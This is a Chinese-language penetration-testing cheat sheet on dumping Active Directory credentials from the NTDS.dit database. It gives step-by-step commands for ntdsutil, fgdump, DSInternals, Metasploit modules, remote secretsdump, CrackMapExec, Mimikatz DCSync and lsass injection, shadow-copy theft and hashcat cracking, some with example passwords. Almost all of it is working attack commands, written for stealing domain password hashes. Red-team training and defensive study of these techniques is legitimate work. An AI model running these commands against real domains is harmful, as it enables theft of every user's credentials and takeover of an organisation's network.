权限: 管理员 | SYSTEM

描述:

攻击者可能试图访问或创建活动目录域数据库的副本,以窃取凭证信息,以及获得有关域成员的其他信息,如设备、用户和访问权限。默认情况下,NTDS文件(NTDS.dit)位于域控制器的%SystemRoot%\NTDS\Ntds.dit。

除了在活动域控制器上寻找NTDS文件外,攻击者还可能搜索包含相同或类似信息的备份。

NTDS.dit

:::color1 解密 NTDS 文件需要系统启动密钥来尝试解密存储在文件系统的 LSA 独立凭证,所以如果要成功转储 NTDS 文件内容我们需要:

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY

:::

提取凭证

Ntdsutil

  1. powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

fgdump

  1. ./fgdump.exe
  2. # Remote host with specified user
  3. ./fgdump.exe -h <IP> -u <User>

NTDS - 图2

Invoke-DCsync

Link: https://github.com/pentestfactory/Invoke-DCSync

  1. . .\Invoke-DCsync.ps1

NTDS - 图3

NTDS - 图4

Powershell:NTDSUtil

我们启动一个 PowerShell 实例。然后我们运行带有一堆参数的 NTDSutil.exe,指示它在 C:\ 驱动器中创建一个名为 temp 的目录,并要求 NTDSUtil 使用它的能力进入 Active Directory 数据库并获取 SYSTEM 和 SECURITY 配置单元文件以及ntds.dit 文件。经过一段时间的工作,我们在临时目录中有了 hive 文件。

  1. powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

NTDS - 图5

我们将配置单元文件传输到我们的 Kali Linux 机器上,以从中提取哈希值。我们将使用impacket 工具包中的secretsdump.py文件来提取哈希值。我们只需要提供 SYSTEM 配置单元文件和 NTDS.dit 文件的路径,我们就可以开始了。我们看到 secretsdump 在几秒钟内为我们提取了哈希值。

  1. ./secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL

NTDS - 图6

DSInternals

DSInternals 是由 Michael Grafnetter 设计的用于执行 AD 安全审计的框架。它是 PowerShell 官方库的一部分。这意味着我们可以使用cmdlet Save-Module下载它。下载后我们需要在使用前安装模块。这可以使用cmdlet Install-Module来完成。这将需要更改执行策略。安装模块后,我们就可以开始了。

我们首先使用 Get-Bootkey cmdlet 从 System Hive 中提取引导密钥。获得引导密钥后,我们将使用它从 NTDIS 文件中读取一个或多个帐户的数据,包括使用 Get-ADBAccount cmdlet 的哈希值等秘密属性。

  1. Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules
  2. Set-ExecutionPolicy Unrestricted
  3. Import-Module DSInternals
  4. Get-BootKey -SystemHivePath 'C:\SYSTEM'
  5. Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey <bootkey value>

NTDS - 图7

Get-ADBAccount cmdlet 创建一长串输出。在这里,我们向您展示目标机器的一位用户的数据。我们可以看到我们已经成功地从 NTDS.dit 文件中提取了 NTLM 哈希。

NTDS - 图8

NTDSDump.exe

下载位置(GitHub)我们需要提供 ntds.dit 文件和 System Hive 文件的路径。NTDSDumpEx 很快就会为我们提供用户列表及其各自的哈希值。

  1. NTDSDumpEx.exe -d C:\ntds.dit -s C:\SYSTEM

NTDS - 图9

NTDS - 图10Metasploit

NTDS_location

Metasploit 可以很好地从 NTDS.dit 文件中提取哈希值。我们有 2 个可以同时攻击 NTDS 的漏洞。第一个定位 ntds 文件。我们需要在目标系统上获取会话才能继续前进。获得会话后,我们选择 NTDS_location exploit 并将会话标识符设置为 exploit。运行漏洞利用程序后,我们看到我们有 NTDS.dit 文件的位置

  1. use post/windows/gather/ntds_location
  2. set session 1
  3. exploit

NTDS - 图11

NTDS_grabber

我们使用另一个可以从目标系统中提取 NTDS.dit 文件、SAM 和 SYSTEM 配置单元文件的漏洞。问题是,它以 .cab 压缩文件的形式传输这些文件。

  1. use post/windows/gather/ntds_grabber
  2. set session 1
  3. exploit

NTDS - 图12

该漏洞发挥作用并将 cab 文件传输到图像中可以看到的位置。现在要提取 NTDS.dit 和其他配置单元文件,我们将使用一个名为 cabextract 的工具。这将提取所有 3 个文件

  1. cabextract <cab 文件名>

NTDS - 图13

NTDS - 图14

secretsdump

假设我们能够通过任何方法获取服务器的登录凭据但无法直接访问服务器的场景,我们可以在 Metasploit 框架中使用此漏洞利用远程从 NTDS.dit 文件中提取哈希值。我们将使用这个辅助工具来获取哈希值。我们需要提供目标机器的 IP 地址、用户名和密码。辅助工具将抓取哈希值并在几秒钟内将其显示在我们的屏幕上。

  1. use auxiliary/scanner/smb/impacket/secretsdump
  2. set rhosts 192.168.1.108
  3. set smbuser administrator
  4. set smbpass Ignite@987
  5. exploit

NTDS - 图15

psexec_ntdsgrab

  1. use auxiliary/admin/smb/psexec_ntdsgrab

NTDS - 图16

CrackMapExec

  1. # 语法
  2. crackmapexec smb [IP 地址] -u '[用户名]' -p '[密码]' -ntds drsuapi
  3. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi

NTDS - 图17

Mimikatz

  1. # Dump hashes for a specified users
  2. Invoke-Mimikatz -command '"lsadump::dcsync /domain:security.local /user:moe"'
  3. # Dump hashes for all users
  4. Invoke-Mimikatz -command '"lsadump::dcsync /domain:security.local /all"'
  5. # Dump hashes by injecting into the lsass process on the Domain Controller
  6. Invoke-Mimikatz -command '"lsadump::lsa /inject"'

NTDS - 图18

Secretsdump.py

远程转储

  1. # With valid credentials
  2. secretsdump.py security.local/moe:Password123@10.10.10.100 -just-dc-ntlm

NTDS - 图19

  1. # Dump from exfiltrated ntds.dit and SYSTEM files.
  2. sudo secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

NTDS - 图20

  1. # Dump results from ntdsutil.exe method
  2. secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL

Volume Shadow Copy

  1. # Create VSS snapshot of system drive
  2. vssadmin create shadow /for=C:
  3. # create a copy of NTDS.dit and SYSTEM then move to C:\Exfiltration
  4. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Exfiltration
  5. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\Exfiltration

NTDS - 图21

hash 解密

  1. user@machine$ hashcat -m 1000 -a 0 /path/to/wordlist/such/as/rockyou.txt

参考

Credential Dumping: NTDS.dit - Hacking Articles